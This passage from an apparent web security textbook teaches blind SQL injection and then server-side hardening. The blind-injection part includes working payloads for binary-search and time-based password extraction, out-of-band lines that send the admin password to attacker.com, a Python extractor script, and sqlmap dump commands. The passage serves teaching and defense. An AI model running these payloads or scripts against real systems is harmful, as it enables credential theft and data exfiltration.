- Interview-style: "How does an attacker read a password one character at a time with only true/false feedback?" Hint:
SUBSTRINGisolates a character; comparison turns it into a yes/no the page answers.
Binary Search Extraction Strategies
Theory
Asking "is this character 'a'? 'b'? 'c'?" wastes requests; binary search makes blind extraction efficient by halving the search space with every question. Instead of testing equality against each candidate, you test ordering: "is this character's code greater than 109 (the midpoint of ASCII)?" Each answer eliminates half the remaining possibilities, so a character drawn from ~128 possible byte values is pinned down in about seven yes/no questions (log2 128), rather than up to 128. For multi-character secrets, this is the difference between a feasible and an infeasible attack.
The mechanism uses the numeric code of a character (ASCII()/ORD()/UNICODE()) and compares it against a moving midpoint. Start with the full range [0, 127]; ask "is the code > 63?"; if yes, the character is in [64, 127], so next ask "> 95?"; continue halving until the low and high bounds meet. That final value is the character's code, which you convert back to a character. Repeat per position to extract the full string. The same halving applies to discovering lengths (LENGTH(value) > n) and row counts, so you first binary-search the length, then each character.
This is a general lesson about inference attacks: the bottleneck is the number of oracle queries, so you minimize entropy per query by maximizing the information each one yields. Binary search extracts the maximum one-bit-per-question. Combined with concurrency (issuing independent position-queries in parallel) and with time-based oracles when boolean ones are unavailable, it is what makes blind SQLi practical at scale. For defenders, the signature is unmistakable: bursts of requests whose payloads vary by a single incrementing comparison constant — exactly what rate limiting and anomaly detection target.
Examples
-- Binary search on one character's ASCII code (range 0..127 -> ~7 questions).
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)) > 63 --
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)) > 95 --
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)) > 111 --
-- each answer halves the range until low==high -> that code is the character
Why binary search wins (per character):
linear equality: up to 128 questions (test each candidate)
binary search : ~7 questions (log2 of 128)
Also binary-search the LENGTH first: LENGTH(value) > 8 ? > 12 ? ...
Key Takeaways
- Binary search tests character ordering against a midpoint, halving the candidate space per question (~7 questions per byte vs up to 128).
- Use numeric code functions (
ASCII/ORD/UNICODE) and converge low/high bounds until they meet. - Apply the same halving to discover lengths and counts before extracting characters.
- The strategy generalizes: minimize entropy per oracle query; defenders detect the telltale single-constant-varying request bursts.
🧪 Practice
- Trace a binary search extracting one character with ASCII code 112 ('p'), listing each question and answer.
- Compare the request count for linear versus binary extraction of a 16-character secret.
- Explain how you would binary-search the length of a value before extracting it.
- Interview-style: "Why does an experienced attacker test
> midpointinstead of= each letter?" Hint: information theory — ordering yields one full bit per request, equality usually does not.
Time-Based Blind Injection with Delays
Theory
When an application's response is identical regardless of the injected condition — same page, same size, same status — the content channel is useless and you turn to time. Time-based blind injection makes the database pause when a condition is true, so the attacker reads the answer from how long the response takes. It is the most broadly applicable blind technique because almost every app exposes response time, and it works even on endpoints that return nothing meaningful (a tracking pixel, a fire-and-forget POST).
The building block is a conditional delay: a function that sleeps (SLEEP(n) in MySQL, pg_sleep(n) in PostgreSQL, WAITFOR DELAY '0:0:n' in MSSQL, heavy computation in Oracle) placed inside a CASE/IF so it only fires when your condition holds. "If the first character's code > 109, sleep 5 seconds, else return immediately" — a slow response means true, a fast one means false. Combine this with binary search exactly as before, and you extract data character by character using purely the timing oracle.
Time-based extraction is powerful but has real drawbacks that shape both attack and defense. It is slow (each bit costs at least the delay duration) and noisy (network jitter and server load can produce false readings), so attackers use conservative delays, repeat ambiguous measurements, and sometimes calibrate a baseline. For defenders this is a gift: a conditional-delay attack produces many requests with suspiciously uniform, long response times and sleep-function patterns, and database query timeouts plus statement monitoring can cut it off. As always, the real fix is parameterization — a bound value cannot invoke SLEEP.
Examples
-- MySQL: sleep only if the condition is true (reads as a timing signal).
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 109, SLEEP(5), 0) --
-- response ~5s slower -> condition TRUE ; fast -> FALSE
-- Engine-specific delay functions:
-- PostgreSQL: ; SELECT CASE WHEN (<cond>) THEN pg_sleep(5) ELSE pg_sleep(0) END --
-- MSSQL: '; IF (<cond>) WAITFOR DELAY '0:0:5' --
Reading bits from the clock:
cond true -> DB sleeps n sec -> slow response
cond false -> no sleep -> fast response
pair with binary search; use conservative n and repeat on ambiguity (jitter).
Defenses: parameterize; DB statement timeouts; alert on sleep patterns + uniform-slow bursts.
Key Takeaways
- Time-based blind injection encodes the answer in response time via conditional delays, working even when content never changes.
- Delay functions are engine-specific (
SLEEP,pg_sleep,WAITFOR DELAY) placed insideIF/CASEon your condition. - It is slow and sensitive to network jitter, so attackers use conservative delays and repeat ambiguous measurements.
- Defend with parameterization, database statement timeouts, and detection of sleep patterns and uniformly slow request bursts.
🧪 Practice
- Write a time-based payload that delays 5 seconds when a character's code exceeds a midpoint.
- Give the delay function for MySQL, PostgreSQL, and MSSQL.
- Explain two sources of error in timing oracles and how an attacker compensates.
- Interview-style: "The page is byte-for-byte identical for all inputs. How do you still extract data?" Hint: you cannot read the page, but you can time it — make the DB sleep conditionally.
Out-of-Band Exfiltration Channels
Theory
Sometimes neither content nor timing is a reliable oracle — the app is fully asynchronous, or you want to pull data faster than one bit per request. Out-of-band (OOB) exfiltration makes the database itself reach out to a server the attacker controls, carrying stolen data in the request. Instead of inferring the secret from the application's response, you coerce the DB into performing a DNS lookup or HTTP request whose hostname or path contains the data, and you read it from your own DNS/HTTP logs. This sidesteps the application entirely as a channel.
The mechanism depends on engine features that make outbound network calls. On MSSQL, functions and procedures can trigger DNS/UNC path lookups; on Oracle, UTL_HTTP, UTL_INADDR, or XML functions can fetch URLs; on MySQL (Windows), LOAD_FILE on a UNC path triggers an SMB/DNS lookup. The attacker builds a subdomain out of the secret — <hex-of-password>.attacker.com — and triggers a lookup; the attacker's authoritative DNS server logs the query, revealing the data. DNS is the favorite carrier because it is recursive and often egresses even from networks that block direct HTTP.
OOB is the fastest blind technique (a whole value can leave in one query) and works where no in-band oracle exists, but it requires the database to have outbound network access, which is the pivot point for defense. Egress filtering — the database subnet cannot make arbitrary DNS/HTTP/SMB requests to the internet — closes the channel entirely, which is why DB servers should sit in tightly controlled network segments. Disabling the dangerous functions (UTL_HTTP, xp_* procedures) and, of course, parameterizing the query remove it at the application and database layers.
Examples
-- Oracle: make the DB resolve a hostname built from the secret -> attacker DNS logs it.
' || (SELECT UTL_INADDR.get_host_address(
(SELECT password FROM users WHERE rownum=1) || '.attacker.com')) --
-- DNS query for hunter2.attacker.com appears in the attacker's DNS logs
-- MSSQL: trigger a UNC/DNS lookup carrying the data as a subdomain.
'; DECLARE @d varchar(200); SELECT @d=(SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "\\'+@d+'.attacker.com\x"'); --
Out-of-band data flow:
DB ──(DNS/HTTP/SMB for SECRET.attacker.com)──▶ attacker's name/web server (logs it)
fast (whole value per query), needs DB OUTBOUND network access.
Defense: egress filtering on the DB subnet + disable UTL_HTTP/xp_* + parameterize.
Key Takeaways
- OOB exfiltration makes the database emit a DNS/HTTP/SMB request whose hostname/path encodes the stolen data, read from attacker logs.
- It is the fastest blind method and works with no in-band oracle, but requires the DB to have outbound network access.
- DNS is the preferred carrier because it is recursive and often egresses even when HTTP is blocked.
- Defenses: strict egress filtering on DB networks, disabling outbound functions (
UTL_HTTP, xp_* procedures), and parameterization.
🧪 Practice
- Explain how encoding a secret into a subdomain lets an attacker read it from DNS logs.
- Why is DNS often a more reliable exfiltration carrier than direct HTTP from a locked-down server?
- Describe the single network control that most effectively defeats OOB exfiltration.
- Interview-style: "An injection leaks nothing in content or timing, yet the attacker extracts the whole DB quickly. How?" Hint: the data left through a side door the app never saw — the DB's own outbound DNS.
Automating Extraction with Python Scripts
Theory
Blind extraction is mechanical — issue a request, read one bit, adjust, repeat — which makes it a natural thing to automate. Writing your own extraction script, even if you later use a tool, cements the mental model: you are implementing an oracle function (given a SQL condition, return true/false by observing the response) and then driving a binary search over it per character. Understanding this loop is what lets you adapt when an off-the-shelf tool fails on a quirky endpoint, custom response behavior, or an unusual oracle.
A good script separates concerns cleanly: a function that injects a given condition and returns a boolean (by comparing response length, a marker string, or elapsed time for time-based), a binary-search routine that extracts one character using that oracle, and a loop over character positions (having first found the length). Robustness comes from handling network errors, retrying ambiguous time-based readings, respecting rate limits, and parameterizing the payload template so you can retarget it (different column, table, condition) without rewriting the logic. The oracle abstraction means the same search code works for boolean- and time-based channels by swapping only how a single bit is read.
Beyond capability, writing extraction code teaches responsibility. These scripts are powerful and must only be run against systems you are authorized to test; they also hammer a target, so pacing and concurrency limits are both courtesy and stealth-irrelevant correctness (a runaway script can cause an outage). The same structure, read from the defender's side, is a detection signature: a single client issuing thousands of requests that differ only in an incrementing index or comparison constant is blind extraction in progress.
Examples
import requests, time
URL = "https://x.example/item"
CHARSET_LOW, CHARSET_HIGH = 32, 126 # printable ASCII range to binary-search
def oracle(cond: str) -> bool:
# Inject the condition; return True if the "normal" page came back.
r = requests.get(URL, params={"id": f"1 AND {cond}"})
return "Welcome" in r.text # boolean oracle: adjust marker per target
def extract_char(pos: int, query: str) -> str:
lo, hi = CHARSET_LOW, CHARSET_HIGH
while lo < hi: # binary search on the ASCII code
mid = (lo + hi) // 2
if oracle(f"ASCII(SUBSTRING(({query}),{pos},1)) > {mid}"):
lo = mid + 1 # char code is above mid
else:
hi = mid # char code is <= mid
return chr(lo)
def extract(query: str, length: int) -> str:
return "".join(extract_char(p, query) for p in range(1, length + 1))
# password = extract("SELECT password FROM users WHERE user='admin'", 12)
Design: oracle(cond)->bool | extract_char uses binary search | loop positions
Swap oracle() body for timing (measure elapsed > threshold) to reuse everything.
Run ONLY against authorized targets; rate-limit; handle errors/retries.
Key Takeaways
- Automating blind SQLi means implementing an oracle (condition -> true/false via observed response) and driving binary search per character.
- Separate concerns: oracle function, per-character binary search, and a position loop (after finding the length).
- The oracle abstraction lets the same search code serve boolean- and time-based channels by changing only how one bit is read.
- Use only on authorized targets, pace requests to avoid outages, and recognize that the request pattern is itself a detection signature.
🧪 Practice
- Modify the sample
oracle()to work time-based (true when elapsed time exceeds a threshold).- Add length discovery via binary search before the character loop.
- Add retry/rate-limit handling and explain why both matter operationally and ethically.
- Interview-style: "Why write your own extractor when sqlmap exists?" Hint: tools fail on unusual oracles and response quirks; understanding the loop lets you adapt.
sqlmap Usage and Tuning
Theory
sqlmap is the standard open-source tool for detecting and exploiting SQL injection. It automates everything the previous topics did by hand — fingerprinting the engine, confirming injection across in-band, error-based, boolean, time-based, and OOB techniques, and then enumerating and extracting data — and it does so with a large library of payloads and bypass tactics. Knowing it is essential both offensively (it is fast and thorough) and defensively (its traffic is a thing you will see in logs and must recognize). It is a power tool, which means it must be pointed only at authorized targets and used with care about load.
Effective use starts from a faithful request. Rather than guessing parameters, you feed sqlmap a saved raw request (-r request.txt, captured from a proxy) so it tests every parameter, header, and cookie exactly as the app receives them, including authentication. From there, flags control scope and depth: --level and --risk widen which inputs and how aggressive the payloads are; -p targets a specific parameter; --technique restricts to certain classes (e.g., BT for boolean+time); --dbms skips fingerprinting when you know the engine. Extraction flags escalate stepwise: --dbs (databases), --tables, --columns, --dump.
Tuning matters because the defaults are conservative and real targets are messy. You often must describe the app's behavior to the tool: --string/--not-string tell it how to read a boolean oracle, --time-sec sets the delay for time-based, --technique avoids noisy or unsupported methods, --tamper scripts apply WAF-bypass transforms, and --threads/--delay balance speed against stealth and target health. The discipline is to start narrow (confirm one parameter, one technique), understand why it works, and only then broaden — both to avoid hammering the target and to keep the results interpretable.
Examples
# Feed a captured raw request so every param/header/cookie is tested as the app sees it.
sqlmap -r request.txt --batch # --batch = non-interactive defaults
# Target one parameter, specify the DBMS, restrict to boolean+time techniques.
sqlmap -u "https://x.example/item?id=1" -p id --dbms=mysql --technique=BT
# Help a tricky boolean oracle and tune the time-based threshold.
sqlmap -r request.txt --string="Welcome" --time-sec=3
# Escalate extraction stepwise (authorized targets only).
sqlmap -r request.txt --dbs # list databases
sqlmap -r request.txt -D appdb --tables # tables in a database
sqlmap -r request.txt -D appdb -T users --dump # dump a table
Key flags map to the manual concepts:
--level/--risk how many inputs / how aggressive the payloads
--technique BEUST B=boolean E=error U=union S=stacked T=time
--string/--not-string teach it to read the boolean oracle
--tamper=... WAF-bypass transforms | --threads/--delay speed vs stealth/health
Key Takeaways
- sqlmap automates detection and exploitation across all injection techniques plus enumeration and extraction; recognize its traffic defensively too.
- Drive it from a captured raw request (
-r) so every parameter, header, and cookie is tested exactly as the app receives it. - Control scope/depth with
--level,--risk,-p,--technique, and--dbms; extract stepwise with--dbs/--tables/--columns/--dump. - Tune to the target:
--stringfor boolean oracles,--time-secfor timing,--tamperfor WAFs,--threads/--delayfor stealth and target health; always authorized only.
🧪 Practice
- Capture a request with a proxy and run sqlmap against it restricted to a single parameter.
- Explain what
--level,--risk, and--techniqueeach control and when you would raise them.- Describe how
--stringhelps sqlmap exploit a boolean-blind endpoint.- Interview-style: "Why prefer
sqlmap -r request.txtoversqlmap -u <url>?" Hint: a saved raw request carries headers, cookies, and body — the full, authenticated context the URL alone lacks.
Detecting and Rate-Limiting Blind Attacks
Theory
Blind extraction trades stealth for volume: pulling data one bit at a time means thousands of requests that are nearly identical except for a marching index or comparison constant. That volume-and-uniformity is the detection signature. Where a normal user issues varied requests at human pace, a blind-SQLi campaign produces a flood of structurally similar requests to one endpoint/parameter, often with telltale SQL tokens (SUBSTRING, ASCII, SLEEP, BENCHMARK, WAITFOR, UNION, comment sequences) and, for time-based, a cluster of uniformly long response times. Defenders detect blind SQLi not by one clever payload but by this aggregate behavior.
Detection layers combine signatures and anomaly analysis. WAF/IDS signatures catch the obvious SQL tokens and known payload shapes (bypassable individually, but the sheer repetition makes evasion of all of them hard). Rate limiting per IP/account/endpoint caps how fast an attacker can ask questions, which directly slows extraction — a technique that needs 7 requests per character becomes impractical when you are limited to a few requests per second and get blocked at a threshold. Anomaly detection flags the pattern: a spike in requests to one parameter, a spike in 500s (from injection probing), or a cluster of responses near a suspicious duration (from SLEEP-based timing). Database-side monitoring adds query timeouts (killing long conditional delays), slow-query logs, and alerts on dangerous functions.
The defense-in-depth story ties the whole chapter together. The fix is parameterization and least privilege, which make extraction impossible or contained. The detection and response layer — logging with correlation (8.5 covers this), rate limiting, WAF, and DB monitoring — ensures that an attack which somehow finds an injectable path is slow, loud, and stopped before it exfiltrates much. Blind SQLi's reliance on high request volume is its greatest weakness, so controls that cap and watch request rates are disproportionately effective against it.
Examples
Blind-SQLi detection signals (any one is suspicious; together, conclusive):
volume : thousands of requests to ONE endpoint/parameter from one source
uniformity : payloads differ only by an incrementing index / comparison constant
tokens : SUBSTRING, ASCII, SLEEP, BENCHMARK, WAITFOR, UNION, --, /**/
timing : many responses clustered at ~N seconds (conditional SLEEP)
errors : spikes of HTTP 500 from injection probing
# Simple per-identity rate limit (sketch): cap requests per window, then block.
from collections import defaultdict
import time
WINDOW, LIMIT = 60, 100 # 100 requests / 60s / identity
hits = defaultdict(list)
def allow(identity: str) -> bool:
now = time.time()
hits[identity] = [t for t in hits[identity] if now - t < WINDOW] # drop old
if len(hits[identity]) >= LIMIT:
return False # block + alert: possible blind extraction
hits[identity].append(now)
return True
Key Takeaways
- Blind extraction requires high volumes of near-identical requests, which is its primary detection signature.
- Combine WAF/IDS signatures (SQL tokens, payload shapes), rate limiting (caps extraction speed), and anomaly detection (request/500/timing spikes).
- Database-side controls — query timeouts, slow-query logs, dangerous-function alerts — cut off conditional-delay and heavy-query attacks.
- Fix with parameterization and least privilege; detection/rate-limiting make any surviving injection slow, loud, and contained.
🧪 Practice
- List five indicators that distinguish a blind-SQLi campaign from normal traffic.
- Explain why rate limiting is disproportionately effective against blind (versus in-band) injection.
- Describe two database-side controls that detect or disrupt time-based blind extraction.
- Interview-style: "Why is a blind-SQLi attack easier to detect than a single union-based exploit?" Hint: one extracts data in one request; the other needs thousands of near-identical ones.
<a id="85-server-side-hardening"></a>
8.5 Server-Side Hardening
Preventing individual vulnerability classes is necessary but not sufficient; hardening is the cross-cutting work that reduces surface, limits blast radius, and ensures attacks are visible. This section covers the defensive building blocks every server-side application should apply.
Output Encoding by Context
Theory
Injection happens when data is interpreted as code by some downstream parser; output encoding is the discipline of transforming data so the target parser treats it as inert data. The crucial insight — the one developers most often miss — is that encoding is context-specific: the "dangerous characters" and the correct escaping differ entirely depending on where the data is going. The same username is encoded one way inside HTML text, another inside an HTML attribute, another inside a JavaScript string, another inside a URL, and another inside a SQL query. There is no universal "sanitize" function; there is only "encode correctly for this specific sink."
Consider output destined for a web page. In HTML body context, the threat is markup injection, so you HTML-encode <, >, &, ", '. In an HTML attribute, you must also handle quote-breaking and ensure the value is quoted. In a JavaScript context (data placed into a script), HTML-encoding is useless; you need JavaScript string escaping (and ideally you avoid placing data in script at all, passing it via a data attribute or JSON instead). In a URL/query context, you percent-encode. Using the wrong encoding for the context either breaks the output or leaves the injection open — HTML-encoding a value that lands in a JavaScript string does not stop ';alert(1)//.
The practical rule set: encode at the point of output, for the exact context, using the framework's context-aware auto-escaping wherever possible. Modern template engines auto-escape for HTML, which handles the common case; your job is to recognize the other contexts (attributes, JS, URLs, CSS) where defaults may not apply and to never disable escaping without a context-correct alternative. This topic is the server-side half of XSS defense (the client side is covered in chapter 9), and the mental model — right encoding for the right sink — is the same discipline that parameterization applies to SQL.
Examples
Same value, five sinks, five encodings:
HTML body: <div>DATA</div> -> HTML-encode < > & " '
HTML attribute: <img alt="DATA"> -> HTML-encode + always quote
JavaScript: var x = "DATA"; -> JS string escape (\x27 etc.)
URL/query: /p?q=DATA -> percent-encode
CSS: color: DATA; -> CSS escape (or avoid entirely)
Wrong-context encoding = still vulnerable (HTML-encoding inside a JS string does nothing).
# Prefer context-aware auto-escaping; it encodes for the HTML output context.
from markupsafe import escape
page = f"<div>{escape(user)}</div>" # user='<script>' -> <script> (inert)
# For non-HTML contexts, use the RIGHT encoder, not escape():
import json, urllib.parse
js = f"<script>var u = {json.dumps(user)};</script>" # JS string context
url = "/search?q=" + urllib.parse.quote(user) # URL context
Key Takeaways
- Output encoding renders data inert for a specific downstream parser; it is the mirror of injection prevention for output.
- Encoding is context-specific — HTML body, HTML attribute, JavaScript, URL, and CSS each require different escaping.
- Wrong-context encoding provides no protection (HTML-encoding inside a JS string leaves injection open).
- Encode at output for the exact context, lean on framework auto-escaping for HTML, and never disable it without a context-correct substitute.
🧪 Practice
- Show the correct encoding for the same username placed in HTML body, an HTML attribute, and a JavaScript string.
- Explain why there is no single universal sanitization function that is safe for all output contexts.
- Describe how auto-escaping in a template engine handles the common case and where it leaves gaps.
- Interview-style: "A value is HTML-encoded but still causes XSS. How?" Hint: it was placed into a JavaScript or attribute context where HTML-encoding does not neutralize the breakout.
Secure Session Generation and Rotation
Theory
A session token is a bearer credential, so its generation and lifecycle are security-critical (building on 8.1 and the auth flaws in 8.2). "Secure generation" means the token is produced by a cryptographically secure random number generator (CSPRNG) with enough entropy (at least 128 bits) that guessing or brute-forcing it is infeasible, and that it carries no meaning an attacker could predict — no incrementing counters, timestamps, or user IDs encoded in it. A predictable session ID is equivalent to leaving the door unlocked; the entire security of the stateful session model rests on the ID being unguessable.
Rotation governs the token over time. The single most important rotation event is at login (and any privilege change): issuing a fresh ID on authentication defeats session fixation, because any ID an attacker planted pre-login is discarded. Beyond that, tokens should have both an idle timeout (expire after inactivity) and an absolute timeout (expire after a fixed maximum lifetime regardless of activity), bounding the window in which a stolen token is useful. Some high-security designs rotate the token periodically during a session and detect reuse of an old token as a theft signal.
Finally, generation and rotation are only as good as storage, transport, and invalidation. The token travels in a cookie with Secure, HttpOnly, and SameSite set (never in a URL, where it leaks via logs and Referer); it is stored server-side in a way that lets you revoke it; and logout truly invalidates it server-side rather than merely clearing the client cookie. For token-based (JWT) sessions, "rotation" becomes short expiry plus a refresh-token scheme and a revocation list, because you cannot delete a stateless token server-side — the design problem noted in 8.1. The common thread: make tokens unguessable, short-lived, bound to privilege transitions, and revocable.
Examples
import secrets
# Secure generation: CSPRNG, >=128 bits, no embedded meaning.
session_id = secrets.token_urlsafe(32) # 256 bits of entropy; unpredictable
# Rotate at login to defeat fixation; set strict cookie attributes.
def on_login(resp, user):
sid = secrets.token_urlsafe(32) # NEW id at authentication
store.put(sid, {"user": user.id, "created": now(), "last": now()})
resp.set_cookie("session", sid,
secure=True, httponly=True, samesite="Lax", max_age=3600)
Session lifecycle controls (defense in depth):
generate : CSPRNG, >=128 bits, meaningless value
login : REGENERATE id (defeats fixation)
idle : expire after N min inactivity
absolute : expire after fixed max lifetime
logout : invalidate SERVER-SIDE (not just clear cookie)
transport: Secure + HttpOnly + SameSite cookie; never in the URL
Key Takeaways
- Session IDs must come from a CSPRNG with >=128 bits of entropy and encode no predictable meaning.
- Regenerate the ID at login and privilege changes to defeat session fixation.
- Apply idle and absolute timeouts to bound the usefulness of a stolen token, and provide real server-side logout.
- Transport tokens only in
Secure/HttpOnly/SameSitecookies; for JWTs, use short expiry plus refresh tokens and a revocation mechanism.
🧪 Practice
- Explain why embedding a user ID or timestamp in a session token is a weakness.
- Describe the difference between idle and absolute session timeouts and why you want both.
- Show how regenerating the session ID at login prevents fixation.
- Interview-style: "How do you 'revoke' a stateless JWT session, given you store nothing server-side?" Hint: short expiry plus a refresh flow, or a server-side denylist — pick the trade-off and justify it.
Rate Limiting and Bot Mitigation
Theory
Many attacks are not clever — they are fast and repetitive: credential stuffing, brute force, blind SQLi extraction (8.4), scraping, and application-layer denial of service all depend on issuing many requests. Rate limiting caps how many requests a given identity may make in a time window, which directly defeats or drastically slows this entire class. The conceptual value is that it converts "one request is cheap, so a million is cheap" into "requests are budgeted," turning economically-free attacks into costly ones.
Effective rate limiting requires choosing the right identity and scope. Limiting by raw IP is easy but crude — attackers rotate IPs (botnets, proxies) and legitimate users share IPs (NAT, mobile carriers) — so you combine signals: per-account for authenticated actions, per-endpoint for sensitive operations (login, password reset, token redemption), and per-IP as a backstop, often with tighter limits on expensive or security-sensitive routes. Common algorithms are the token bucket (allows bursts up to a capacity that refills over time) and the sliding window (counts requests in a rolling interval); both enforce an average rate while handling bursts differently.
Bot mitigation extends this to distinguish automated clients from humans when rate limits alone are insufficient. Techniques escalate: progressive delays and lockouts on repeated failures, CAPTCHA challenges when behavior looks automated, proof-of-work to impose cost, device/behavioral fingerprinting, and dedicated anti-bot services for large-scale abuse. The guiding principle is graduated response — do not block a user for one failed login, but make the thousandth attempt expensive — and to always pair enforcement with monitoring, because the rate-limit counters themselves are a rich signal that an attack is underway. Rate limiting is also the control that makes blind extraction (which needs thousands of requests) impractical, tying this topic directly to 8.4.
Examples
# Token-bucket rate limiter: burst up to CAPACITY, refill at RATE tokens/sec.
import time
class TokenBucket:
def __init__(self, capacity, rate):
self.capacity, self.rate = capacity, rate
self.tokens, self.ts = capacity, time.time()
def allow(self):
now = time.time()
self.tokens = min(self.capacity, self.tokens + (now - self.ts) * self.rate)
self.ts = now
if self.tokens >= 1:
self.tokens -= 1
return True # request permitted
return False # over budget -> 429 Too Many Requests
Choosing identity + scope (combine, don't rely on IP alone):
login -> per-account AND per-IP, tight limit, lockout/CAPTCHA on failures
password reset-> per-account AND per-IP, very tight
API read -> per-API-key, generous
expensive op -> per-endpoint, tight
Graduated response: delay -> CAPTCHA -> temporary block -> alert.
Key Takeaways
- Rate limiting budgets requests per identity/window, directly defeating brute force, credential stuffing, scraping, blind extraction, and app-layer DoS.
- Choose identity and scope deliberately — combine per-account, per-endpoint, and per-IP; raw IP alone is both evadable and unfair to shared users.
- Token-bucket and sliding-window algorithms enforce an average rate while handling bursts; apply tighter limits to sensitive routes.
- Escalate bot mitigation gradually (delays, lockouts, CAPTCHA, proof-of-work) and monitor the counters as an attack signal.
🧪 Practice
- Implement or trace a token-bucket limiter and explain how it allows bursts yet caps the average rate.
- Explain the weaknesses of IP-only rate limiting and how combining identities addresses them.
- Design a graduated-response policy for a login endpoint from first failure to sustained attack.
- Interview-style: "How does rate limiting on a login endpoint relate to defending against blind SQL injection elsewhere?" Hint: both attacks need high request volume — the same budgeting control blunts both.
Secrets and Configuration Management
Theory
Applications need secrets — database passwords, API keys, signing keys, TLS private keys — and the single most common way these leak is being put somewhere they do not belong: hardcoded in source, committed to version control, printed in logs, or baked into container images. The foundational principle is separate secrets from code and config-as-data: code and non-sensitive configuration can live in the repo, but secrets must be injected at runtime from a controlled source, never stored alongside the code that uses them. The reason is blast radius — a repo gets cloned, forked, and shared far more widely than anyone tracks, and a secret in git history is effectively public and permanent.
The mature pattern is a secrets manager (HashiCorp Vault, AWS Secrets Manager, cloud KMS-backed stores) that holds secrets encrypted, controls access by identity and policy, audits every retrieval, and supports rotation so a leaked credential has a short useful life. Applications fetch secrets at startup or on demand using a workload identity (not another secret), rather than reading a .env file full of plaintext. Even the simpler step of environment variables injected by the platform (with the .env file git-ignored) is far better than committing secrets, though env vars have their own exposure risks (child processes, crash dumps, debug endpoints) that a real secrets manager mitigates.
Configuration management ties in because how an app is configured is itself a security surface (recall misconfiguration in 8.2). Configuration should be environment-specific, versioned (as data, not secrets), validated, and least-privilege by default — production never ships with debug on or dev credentials. The combined discipline: secrets in a manager with rotation and auditing; configuration as code with per-environment values; neither secrets in config nor config choices left to unsafe defaults; and automated scanning (pre-commit hooks, CI secret scanners) to catch the inevitable accidental commit before it reaches a shared branch.
Examples
# WRONG: secret hardcoded (ends up in git history forever).
DB_PASSWORD = "S3cr3t!" # never do this
# BETTER: injected at runtime from the environment (.env is git-ignored).
import os
DB_PASSWORD = os.environ["DB_PASSWORD"] # platform injects it; not in the repo
# BEST: fetched from a secrets manager using workload identity, with rotation/audit.
# secret = vault_client.read("secret/data/app/db")["data"]["password"]
Secret exposure paths to close:
source code / git history -> secrets manager or injected env; scan commits
logs -> never log secrets; redact
container images -> build-time args leak into layers; inject at runtime
config files in repo -> config = data (versioned); secrets = NOT in config
Add: least-privilege access + rotation + audit on every retrieval.
Key Takeaways
- Keep secrets out of source, version control, logs, and images; a secret in git history is effectively public and permanent.
- Use a secrets manager for encryption at rest, identity-based access, auditing, and rotation; env-var injection is a better-than-nothing middle step.
- Configuration is a security surface: make it environment-specific, versioned as data, validated, and least-privilege (no debug or dev creds in production).
- Automate secret scanning (pre-commit, CI) to catch accidental commits before they spread.
🧪 Practice
- List four places secrets commonly leak and the mitigation for each.
- Explain why committing a secret and then deleting it in a later commit does not make it safe.
- Compare environment-variable injection with a dedicated secrets manager (access control, rotation, audit).
- Interview-style: "A former API key was removed from the code months ago but the service was breached using it. What went wrong?" Hint: removal from HEAD does not remove it from history — and it was never rotated.
Error Handling Without Information Disclosure
Theory
Errors are inevitable; the security question is who learns what when they happen. As the error-based SQLi and misconfiguration topics showed, verbose errors are an exfiltration and reconnaissance channel: stack traces reveal frameworks, versions, file paths, and query fragments; detailed messages distinguish cases that enable enumeration ("user not found" vs "wrong password"); and debug pages can expose variables, config, or even an interactive console. The guiding principle is asymmetry: give the user a generic, unhelpful-to-attackers message while giving the operator full detail in logs.
Concretely, this means a global error handler that catches unhandled exceptions, logs the full detail server-side (with a correlation ID), and returns a generic response with an appropriate status code and nothing exploitable. The user sees "An unexpected error occurred (ref: 7f3a...)," support can look up 7f3a in the logs, and the attacker learns nothing. Security-sensitive flows deliberately use uniform responses regardless of the underlying cause — login returns the same message and ideally the same timing whether the username was wrong or the password was, defeating enumeration; password reset says "if an account exists, we sent an email" rather than confirming existence.
This discipline must be the default across environments, enforced by configuration, not by hoping each handler is careful. Debug mode is off in production (its presence is itself a critical finding), framework error pages are replaced with generic ones, and the app fails closed — an error in an authorization check denies access rather than defaulting to allow. Proper error handling is where several threads of this chapter meet: it closes the information-leakage channel, it supports detection (because the detailed logs feed monitoring, 8.5's next topic), and it embodies the fail-closed, deny-by-default stance that runs through secure design.
Examples
# Global handler: full detail to logs with a correlation id; generic message to the user.
import uuid, logging
log = logging.getLogger("app")
@app.errorhandler(Exception)
def handle(e):
ref = uuid.uuid4().hex[:8]
log.exception("unhandled error ref=%s", ref) # stack trace stays server-side
return {"error": "An unexpected error occurred", "ref": ref}, 500 # nothing useful leaked
# Uniform auth responses to defeat enumeration (same message, aim for same timing).
def login(user, pw):
u = find_user(user)
ok = u is not None and verify(u.hash, pw) # verify even if user missing (timing)
if not ok:
return "Invalid username or password", 401 # identical for both failure causes
Asymmetry principle:
USER gets: generic message + reference id + appropriate status
OPERATOR gets: full stack trace + context in server-side logs
Also: debug OFF in prod, framework error pages replaced, authz checks FAIL CLOSED.
Key Takeaways
- Verbose errors leak versions, paths, query fragments, and case distinctions that aid reconnaissance and enumeration.
- Apply asymmetry: generic user-facing messages with a correlation ID, full detail logged server-side for operators.
- Use uniform responses (and timing) for sensitive flows like login and password reset to defeat enumeration.
- Enforce by default across environments: debug off in production, framework error pages replaced, and authorization checks fail closed.
🧪 Practice
- Rewrite a handler that returns a stack trace into one that logs detail and returns a generic message with a reference ID.
- Explain how differing login error messages (and timings) enable username enumeration, and fix both.
- Describe why "fail closed" is the correct default for an error in an authorization check.
- Interview-style: "Why keep a correlation ID in the user-facing error at all?" Hint: it lets support find the detailed log entry without exposing any of that detail to the user.
Logging and Monitoring of Web Attacks
Theory
You cannot detect, investigate, or prove an attack you did not record — the same lesson from endpoint auditing applies to web applications. Logging is the deliberate capture of security-relevant events (authentication successes and failures, authorization denials, input-validation rejections, server errors, admin actions, and high-value transactions), and monitoring is turning those logs into timely detection through alerting and correlation. The purpose is twofold: real-time detection of attacks in progress (a credential-stuffing burst, a blind-SQLi flood) and after-the-fact forensics to scope and understand an incident.
